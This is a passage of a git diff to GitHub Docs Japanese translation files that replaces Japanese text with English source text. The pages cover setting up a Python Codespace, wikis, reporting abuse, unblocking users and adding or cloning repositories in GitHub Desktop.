# && apt-get -y install --no-install-recommends -# [Optional] この行のコメントを解除してグローバルノードパッケージをインストールします。 +# [Optional] Uncomment this line to install global node packages. # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1 ``` -Dockerfile を使用して、コンテナレイヤーを追加し、コンテナに含める OS パッケージ、ノードバージョン、またはグローバルパッケージを指定できます。 +You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container. -## ステップ 3: devcontainer.json ファイルを変更する +## Step 3: Modify your devcontainer.json file -開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、コードスペースの起動時に拡張機能とプロジェクトの依存関係をインストールするためのプロパティを追加します。 +With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches. -1. Explorer で `.devcontainer` フォルダを展開し、ツリーから `devcontainer.json` ファイルを選択して開きます。 +1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it. ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png) -2. `devcontainer.json` ファイルの `extensions` リストを更新し、プロジェクトでの作業に役立ついくつかの機能拡張を追加します。 +2. Update the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project. ```json{:copy} "extensions": [ - "ms-python.python", - "cstrap.flask-snippets", - "streetsidesoftware.code-spell-checker", - ], + "ms-python.python", + "cstrap.flask-snippets", + "streetsidesoftware.code-spell-checker", + ], ``` -3. `postCreateCommand` のコメントを解除して、Codespaces の設定プロセスの一部として要件を自動インストールします。 +3. Uncomment the `postCreateCommand` to auto-install requirements as part of the codespaces setup process. ```json{:copy} - // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。 + // Use 'postCreateCommand' to run commands after the container is created. "postCreateCommand": "pip3 install --user -r requirements.txt", ``` {% data reusables.codespaces.rebuild-command %} - codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。 + Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container. -5. Code Spell Checker と Flask Snippet 機能拡張がインストールされていることを確認して、変更が正常に適用されたことを確認します。 +5. Check your changes were successfully applied by verifying the Code Spell Checker and Flask Snippet extensions were installed. - ![機能拡張のリスト](/assets/images/help/codespaces/python-extensions.png) + ![Extensions list](/assets/images/help/codespaces/python-extensions.png) -## Step 4: アプリケーションを実行する +## Step 4: Run your application -前のセクションでは、`postCreateCommand` を使用して pip3 を介してパッケージのセットをインストールしました。 依存関係がインストールされたら、アプリケーションを実行できます。 +In the previous section, you used the `postCreateCommand` to install a set of packages via pip3. With your dependencies now installed, you can run your application. -1. `F5` キーを押すか、codespace ターミナルで `python -m flask run` と入力してアプリケーションを実行します。 +1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal. -2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。 +2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. - ![ポートフォワーディングトースト](/assets/images/help/codespaces/python-port-forwarding.png) + ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png) -## ステップ 5: 変更をコミットする +## Step 5: Commit your changes {% data reusables.codespaces.committing-link-to-procedure %} -## 次のステップ +## Next steps -これで、{% data variables.product.prodname_codespaces %} で Python プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。 +You should now be ready start developing your Python project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios. -- [{% data variables.product.prodname_codespaces %} の暗号化されたシークレットを管理する](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) -- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md index be282a95c8..9d6ac99ff3 100644 --- a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -1,6 +1,6 @@ --- -title: ウィキについて -intro: リポジトリのドキュメンテーションをウィキでホストして、他者が利用してプロジェクトにコントリビュートすることを可能にできます。 +title: About wikis +intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.' redirect_from: - /articles/about-github-wikis/ - /articles/about-wikis @@ -15,24 +15,24 @@ topics: - Community --- -Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. リポジトリのウィキは、プロジェクトの利用方法、設計方法、中核的な原理など、プロジェクトに関する長いコンテンツを共有するために利用できます。 README ファイルは、プロジェクトができることを手短に述べますが、ウィキを使えば追加のドキュメンテーションを提供できます。 詳細は「[README について](/articles/about-readmes)」を参照してください。 +Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)." -ウィキでは、{% data variables.product.product_name %} のあらゆる他の場所と同じようにコンテンツを書くことができます。 詳細は「[{% data variables.product.prodname_dotcom %} で書き、フォーマットしてみる](/articles/getting-started-with-writing-and-formatting-on-github)」を参照してください。 私たちは、さまざまなフォーマットを HTML に変更するのに[私たちのオープンソースマークアップライブラリ](https://github.com/github/markup)を使っているので、Markdown あるいはその他任意のサポートされているフォーマットで書くことができます。 +With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. -{% ifversion fpt or ghes or ghec %}パブリックリポジトリに Wiki を作成すると、{% ifversion ghes %}{% data variables.product.product_location %}{% else %}パブリック{% endif %}にアクセスできるすべてのユーザがその Wiki を利用できます。 {% endif %}If you create a wiki in an internal or private repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. 詳細は「[リポジトリの可視性を設定する](/articles/setting-repository-visibility)」を参照してください。 +{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." -ウィキは、{% data variables.product.product_name %} 上で直接編集することも、ウィキのファイルをローカルで編集することもできます。 デフォルトでは、リポジトリへの書き込みアクセス権を持つユーザのみが Wiki に変更を加えることができますが、{% data variables.product.product_location %} のすべてのユーザが{% ifversion ghae %}内部{% else %}パブリック{% endif %}リポジトリの Wiki に貢献できるようにすることも可能ですす。 詳細は「[ウィキへのアクセス権限を変更する](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)」を参照してください。 +You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)". {% note %} -**注釈:** 検索エンジンによる、Wikiコンテンツのインデックス化はありません。 検索エンジンでコンテンツをインデックスするには、パブリックリポジトリで [{% data variables.product.prodname_pages %}](/pages) を使用します。 +**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository. {% endnote %} -## 参考リンク +## Further reading -- 「[ウィキページを追加または編集する](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)」 -- 「[ウィキにフッタやサイドバーを作成する](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)」 -- 「[ウィキのコンテンツを編集する](/communities/documenting-your-project-with-wikis/editing-wiki-content)」 -- [Wkiの変更履歴の表示](/articles/viewing-a-wiki-s-history-of-changes) -- [Wikiの検索](/search-github/searching-on-github/searching-wikis) +- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" +- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" +- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)" +- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)" +- "[Searching wikis](/search-github/searching-on-github/searching-wikis)" diff --git a/translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md b/translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md index 964c4da2b1..89bcf4cde1 100644 --- a/translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md +++ b/translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md @@ -1,6 +1,6 @@ --- -title: 悪用あるいはスパムをレポートする -intro: コミュニティガイドラインと規約に違反する行動やコンテンツをレポートできます。 +title: Reporting abuse or spam +intro: You can report behavior and content that violates community guidelines and terms. redirect_from: - /articles/reporting-abuse-or-spam - /github/building-a-strong-community/reporting-abuse-or-spam @@ -11,54 +11,59 @@ topics: - Community --- -オーナー、コラボレータ、以前のコントリビューター、および書き込みアクセスを持つユーザは、Issue やプルリクエスト、および Issue、プルリクエスト、コミットについてのコメントをレポートできます。 {% data variables.product.prodname_marketplace %} のアプリケーションについては誰でもレポートできます。 +Owners, collaborators, prior contributors, and people with write access can report issues, pull requests, and comments on issues, pull requests, and commits. Anyone can report apps in {% data variables.product.prodname_marketplace %}. -## 不正利用やスパムのレポートについて +## About reporting abuse or spam {% data reusables.policies.github-community-guidelines-and-terms %} -{% data variables.contact.report_abuse %} または {% data variables.contact.report_content %} を通じて、{% data variables.product.prodname_dotcom %} のコミュニティガイドラインまたは利用規約に違反したユーザについてレポートすることができます。 Issue やプルリクエスト、または Issue、プルリクエスト、コミットについてのコメントをレポートすることもできます。 +You can report users that have violated {% data variables.product.prodname_dotcom %}'s Community Guidelines or Terms of Service through {% data variables.contact.report_abuse %} or {% data variables.contact.report_content %}. You can also report issues, pull requests, or comments on issues, pull requests, and commits. -レポートされたコンテンツがパブリックリポジトリに対して有効になっている場合、リポジトリメンテナにコンテンツを直接レポートすることもできます。 +If reported content is enabled for a public repository, you can also report content directly to repository maintainers. -## ユーザをレポートする +## Reporting a user {% data reusables.profile.user_profile_page_navigation %} {% data reusables.profile.user_profile_page_block_or_report %} -3. **Report abuse** をクリックします。 ![ユーザのブロックあるいは悪用のレポートの選択肢を持つモーダルボックス](/assets/images/help/profile/profile-report-abuse.png) -4. ユーザの行動について {% data variables.contact.contact_support %} に伝える連絡フォームに記入し、[**Send request**] をクリックします。 +3. Click **Report abuse**. + ![Modal box with options to block user or report abuse](/assets/images/help/profile/profile-report-abuse.png) +4. Complete the contact form to tell {% data variables.contact.contact_support %} about the user's behavior, then click **Send request**. -## Issue やプルリクエストをレポートする +## Reporting an issue or pull request -1. レポートする Issue またはプルリクエストに移動します。 -2. Issue またはプルリクエストの右上隅にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} をクリックしてから、[**Report content**] をクリックします。 ![コメントをレポートするボタン](/assets/images/help/repository/menu-report-issue-or-pr.png) +1. Navigate to the issue or pull request you'd like to report. +2. In the upper-right corner of the issue or pull request, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, then click **Report content**. + ![Button to report a comment](/assets/images/help/repository/menu-report-issue-or-pr.png) {% data reusables.community.report-content %} -## コメントをレポートする +## Reporting a comment -1. レポートするコメントに移動します。 -2. コメントの右上隅にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} をクリックしてから、[**Report content**] をクリックします。 ![コメントをレポートするオプションを含むケバブメニュー](/assets/images/help/repository/menu-report-comment.png) +1. Navigate to the comment you'd like to report. +2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}, then click **Report content**. +![Kebab menu with option to report a comment](/assets/images/help/repository/menu-report-comment.png) {% data reusables.community.report-content %} -## {% data variables.product.prodname_marketplace %} のアプリケーションをレポートする +## Reporting an app in {% data variables.product.prodname_marketplace %} {% data reusables.marketplace.visit-marketplace %} -2. レポートするアプリケーションに移動します。 -3. 左サイドバーで [Developer links] セクションの下の [{% octicon "report" aria-label="The report symbol" %}**Report abuse**] をクリックします。 ![{% data variables.product.prodname_marketplace %}のアプリケーションをレポートするボタン](/assets/images/help/marketplace/marketplace-report-app.png) -4. アプリケーションの動作について {% data variables.contact.contact_support %} に伝える連絡フォームに記入し、[**Send request**] をクリックします。 +2. Browse to the app you'd like to report. +3. In the left sidebar, under the "Developer links" section, click {% octicon "report" aria-label="The report symbol" %} **Report abuse**. + ![Button to report an app in {% data variables.product.prodname_marketplace %}](/assets/images/help/marketplace/marketplace-report-app.png) +4. Complete the contact form to tell {% data variables.contact.contact_support %} about the app's behavior, then click **Send request**. -## テンプレート選択画面での連絡先リンクの不正利用をレポートする +## Reporting contact link abuse in the template chooser -1. レポートする連絡先リンクを含むリポジトリに移動します。 -2. リポジトリ名の下で {% octicon "issue-opened" aria-label="The issues icon" %} **Issues** をクリックします。 -3. テンプレート選択画面の右下隅で、[**Report abuse**] をクリックします。 ![不正利用をレポートするリンク](/assets/images/help/repository/template-chooser-report-abuse.png) -4. リンクの動作について {% data variables.contact.contact_support %} に伝える連絡フォームに記入し、[**Send request**] をクリックします。 +1. Navigate to the repository that contains the contact link you'd like to report. +2. Under the repository name, click {% octicon "issue-opened" aria-label="The issues icon" %} **Issues**. +3. In the lower-right corner of the template chooser, click **Report abuse**. + ![Link to report an abuse](/assets/images/help/repository/template-chooser-report-abuse.png) +4. Complete the contact form to tell {% data variables.contact.contact_support %} about the contact link's behavior, then click **Send request**. -## 参考リンク +## Further reading -- [健全なコントリビューションを促すプロジェクトをセットアップする](/communities/setting-up-your-project-for-healthy-contributions) -- 「[テンプレートを使用して便利な Issue およびプルリクエストを推進する](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)」 -- 「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments)」{% ifversion fpt or ghec %} -- 「[{% data variables.product.prodname_dotcom %} での安全性を維持する](/communities/maintaining-your-safety-on-github)」 -- 「[リポジトリでのインタラクションを制限する](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)」{% endif %} -- 「[コメントの変更を追跡する](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)」 +- "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)" +- "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)" +- "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)"{% ifversion fpt or ghec %} +- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" +- "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)"{% endif %} +- "[Tracking changes in a comment](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)" diff --git a/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md index 29636e6e5e..9d91fc58fd 100644 --- a/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md +++ b/translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization からユーザのブロックを解除する -intro: Organization のオーナーは、過去にブロックしたユーザのブロックを解除し、Organization のリポジトリへのアクセスを回復できます。 +title: Unblocking a user from your organization +intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.' redirect_from: - /articles/unblocking-a-user-from-your-organization - /github/building-a-strong-community/unblocking-a-user-from-your-organization @@ -9,36 +9,38 @@ versions: ghec: '*' topics: - Community -shortTitle: Organization からのブロックの解除 +shortTitle: Unblock from your org --- -Organization からユーザのブロックを解除すると、そのユーザは Organization のリポジトリにコントリビュートできるようになります。 +After unblocking a user from your organization, they'll be able to contribute to your organization's repositories. -特定の時間だけユーザをブロックした場合、その時間が終われば自動的にブロックが解除されます。 詳細は「[Organization からユーザをブロックする](/articles/blocking-a-user-from-your-organization)」を参照してください。 +If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)." {% tip %} -**参考**: コラボレータステータスや Star、Watch など、Organization からユーザをブロックした時に削除された設定については、そのユーザのブロックを解除しても復帰しません。 +**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user. {% endtip %} -## コメントでユーザのブロックを解除する +## Unblocking a user in a comment -1. 作者のブロックを解除したいコメントに移動します。 -2. コメントの右上にある、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、次に [**Unblock user**] をクリックします。 ![ユーザブロックの解除オプションを表示する水平のケバブアイコンとコメント調整メニュー](/assets/images/help/repository/comment-menu-unblock-user.png) -3. ユーザのブロック解除を確定するために [**Okay**] をクリックします。 +1. Navigate to the comment whose author you would like to unblock. +2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**. +![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png) +3. To confirm you would like to unblock the user, click **Okay**. -## Organization 設定でユーザのブロックを解除する +## Unblocking a user in the organization settings {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.block_users %} -5. [Blocked users] の下で、ブロックを解除したいユーザの横にある [**Unblock**] をクリックします。 ![ユーザブロックの解除ボタン](/assets/images/help/organizations/org-unblock-user-button.png) +{% data reusables.organizations.moderation-settings %} +5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**. +![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png) -## 参考リンク +## Further reading -- [Organization からのユーザのブロック](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) -- [個人アカウントからのユーザのブロック](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) -- [個人アカウントからのユーザのブロック解除](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) -- [悪用あるいはスパムのレポート](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) +- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)" +- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)" +- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)" +- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" diff --git a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md index e223fc1460..dcd638a950 100644 --- a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md +++ b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md @@ -1,6 +1,6 @@ --- -title: ローカルコンピュータからGitHubデスクトップへのリポジトリの追加 -intro: '{% data variables.product.prodname_dotcom %}リポジトリでない場合でも、{% data variables.product.prodname_desktop %}にGitリポジトリを追加できます。' +title: Adding a repository from your local computer to GitHub Desktop +intro: 'You can add any Git repository to {% data variables.product.prodname_desktop %}, even if it''s not a {% data variables.product.prodname_dotcom %} repository.' redirect_from: - /desktop/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop - /desktop/contributing-and-collaborating-using-github-desktop/adding-a-repository-from-your-local-computer-to-github-desktop @@ -8,25 +8,30 @@ versions: fpt: '*' shortTitle: Add a repository --- - {% tip %} -**ヒント：**フォルダを{% data variables.product.prodname_desktop %}ウィンドウにドラッグすることで、GitリポジトリをローカルコンピュータからGitHub Desktopに追加することができます。 {% data variables.product.prodname_desktop %}に同時に複数のフォルダをドラッグする場合、各フォルダが別々のGitリポジトリとして追加されます。 +**Tip:** You can add a Git repository from your local computer to GitHub Desktop by dragging the folder onto the {% data variables.product.prodname_desktop %} window. If you drag multiple Git folders into {% data variables.product.prodname_desktop %} at the same time, each folder will be added as a separate Git repository. {% endtip %} {% mac %} -1. **File**メニューで、**Add Local Repository**をクリックします。 ![Add Local Repositoryメニューオプション](/assets/images/help/desktop/add-local-repository-mac.png) -2. [**Choose...**]をクリックし、Finderウインドウを使用して追加するローカルリポジトリに移動します。 ![Macアプリケーション内のLocal Pathフィールド](/assets/images/help/desktop/add-repo-choose-button-mac.png) -4. **Add Repository**をクリックします。 ![Macアプリケーション内のAdd repositoryボタン](/assets/images/help/desktop/add-repository-button-mac.png) +1. In the **File** menu, click **Add Local Repository**. + ![Add Local Repository menu option](/assets/images/help/desktop/add-local-repository-mac.png) +2. Click **Choose...** and, using the Finder window, navigate to the local repository you want to add. + ![The Local Path field in the Mac app](/assets/images/help/desktop/add-repo-choose-button-mac.png) +4. Click **Add Repository**. + ![The Add repository button in the Mac app](/assets/images/help/desktop/add-repository-button-mac.png) {% endmac %} {% windows %} -1. **File**メニューで、[**Add local repository**] をクリックします。 ![Add Local Repositoryメニューオプション](/assets/images/help/desktop/add-local-repository-windows.png) -2. **Choose...**をクリックし、Windows Explorerを使用して追加するローカルリポジトリに移動します。 ![Windowsアプリケーション内のLocal Pathフィールド](/assets/images/help/desktop/add-repo-choose-button-win.png) -4. **Add repository**をクリックします。 ![Windowsアプリケーション内のAdd repositoryボタン](/assets/images/help/desktop/add-repository-button-windows.png) +1. In the **File** menu, click **Add local repository**. + ![Add Local Repository menu option](/assets/images/help/desktop/add-local-repository-windows.png) +2. Click **Choose...** and, using Windows Explorer, navigate to the local repository you want to add. + ![The Local Path field in the Windows app](/assets/images/help/desktop/add-repo-choose-button-win.png) +4. Click **Add repository**. + ![The Add repository button in the Windows app](/assets/images/help/desktop/add-repository-button-windows.png) {% endwindows %} diff --git a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md index 60381abe91..696c54732e 100644 --- a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md +++ b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md @@ -1,6 +1,6 @@ --- -title: GitHub Desktopを介してのGitHubへの既存プロジェクト追加 -intro: '{% data variables.product.prodname_desktop %}を使用して、{% data variables.product.prodname_dotcom %}に既存のGitリポジトリを追加できます。' +title: Adding an existing project to GitHub using GitHub Desktop +intro: 'You can add an existing Git repository to {% data variables.product.prodname_dotcom %} using {% data variables.product.prodname_desktop %}.' redirect_from: - /desktop/contributing-to-projects/adding-an-existing-project-to-github-using-github-desktop - /desktop/contributing-and-collaborating-using-github-desktop/adding-an-existing-project-to-github-using-github-desktop @@ -8,27 +8,34 @@ versions: fpt: '*' shortTitle: Add an existing project --- - {% mac %} {% data reusables.git.remove-git-remote %} -2. [リポジトリをGitHub Desktopに追加します](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). +2. [Add the repository to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). {% data reusables.desktop.publish-repository %} -4. **Name**フィールドにご希望の名前を入力するか、現在のデフォルトローカルリポジトリの名前を使います。 ![Nameフィールド](/assets/images/help/desktop/publish-repository-name-mac.png) -5. パブリックリポジトリを公開するには、**Keep this code private**の選択を解除してください。 ![Keep this code privateチェックボックス](/assets/images/help/desktop/publish-repository-private-checkbox-mac.png) -6. リポジトリを公開するOrganizationを**Organization**ドロップダウンで選択するか、**None**を選択してリポジトリを個人アカウントに公開します。 ![Organizationのドロップダウン](/assets/images/help/desktop/publish-repository-org-dropdown-mac.png) -7. **Publish Repository**ボタンをクリックします。 ![Publish Repositoryダイアログ内のPublish repositoryボタン](/assets/images/help/desktop/publish-repository-dialog-button-mac.png) +4. Type the desired name of the repository in the **Name** field or use the default current local repository name. + ![The Name field](/assets/images/help/desktop/publish-repository-name-mac.png) +5. To publish a public repository, unselect **Keep this code private**. + ![Keep this code private checkbox](/assets/images/help/desktop/publish-repository-private-checkbox-mac.png) +6. Choose the organization in the **Organization** drop-down where you want to publish the repository, or select **None** to publish the repository to your personal account. + ![Organization drop-down](/assets/images/help/desktop/publish-repository-org-dropdown-mac.png) +7. Click the **Publish Repository** button. + ![The Publish repository button in the Publish Repository dialog](/assets/images/help/desktop/publish-repository-dialog-button-mac.png) {% endmac %} {% windows %} {% data reusables.git.remove-git-remote %} -2. [リポジトリをGitHub Desktopに追加します](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). +2. [Add the repository to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop/). {% data reusables.desktop.publish-repository %} -4. **Name**フィールドにご希望の名前を入力するか、現在のデフォルトローカルリポジトリの名前を使います。 ![Nameフィールド](/assets/images/help/desktop/publish-repository-name-win.png) -5. パブリックリポジトリを公開するには、**Keep this code private**の選択を解除してください。 ![Keep this code privateチェックボックス](/assets/images/help/desktop/publish-repository-private-checkbox-win.png) -6. リポジトリを公開するOrganizationを**Organization**ドロップダウンで選択するか、**None**を選択してリポジトリを個人アカウントに公開します。 ![Organizationのドロップダウン](/assets/images/help/desktop/publish-repository-org-dropdown-win.png) -7. **Publish repository**ボタンをクリックします。 ![Publish repositoryダイアログ内のPublish repositoryボタン](/assets/images/help/desktop/publish-repository-dialog-button-win.png) +4. Type the desired name of the repository in the **Name** field or use the default current local repository name. + ![The Name field](/assets/images/help/desktop/publish-repository-name-win.png) +5. To publish a public repository, unselect **Keep this code private**. + ![Keep this code private checkbox](/assets/images/help/desktop/publish-repository-private-checkbox-win.png) +6. Choose the organization in the **Organization** drop-down where you want to publish the repository, or select **None** to publish the repository to your personal account. + ![Organization drop-down](/assets/images/help/desktop/publish-repository-org-dropdown-win.png) +7. Click the **Publish repository** button. + ![The Publish repository button in the Publish repository dialog](/assets/images/help/desktop/publish-repository-dialog-button-win.png) {% endwindows %} diff --git a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md index 6dffdf56ef..5a7941979d 100644 --- a/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md +++ b/translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md @@ -1,6 +1,6 @@ --- -title: GitHubからのGitHub Desktopへのリポジトリのクローン方法 -intro: '{% data variables.product.prodname_dotcom %} を使用して、リモートリポジトリを {% data variables.product.prodname_desktop %} にクローンできます。' +title: Cloning a repository from GitHub to GitHub Desktop +intro: 'You can use {% data variables.product.prodname_dotcom %} to clone remote repositories to {% data variables.product.prodname_desktop %}.' redirect_from: - /desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop - /desktop/contributing-and-collaborating-using-github-desktop/cloning-a-repository-from-github-to-github-desktop @@ -8,43 +8,46 @@ versions: fpt: '*' shortTitle: Clone a GitHub repo --- - {% tip %} -**ヒント：**{% data variables.product.prodname_dotcom %}にあるリポジトリをクローンするには、{% data variables.product.prodname_desktop %}も使用できます。 詳しい情報については、「[{% data variables.product.prodname_desktop %}からのリポジトリのクローン方法](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop/)」を参照してください。 +**Tip:** You also can use {% data variables.product.prodname_desktop %} to clone repositories that exist on {% data 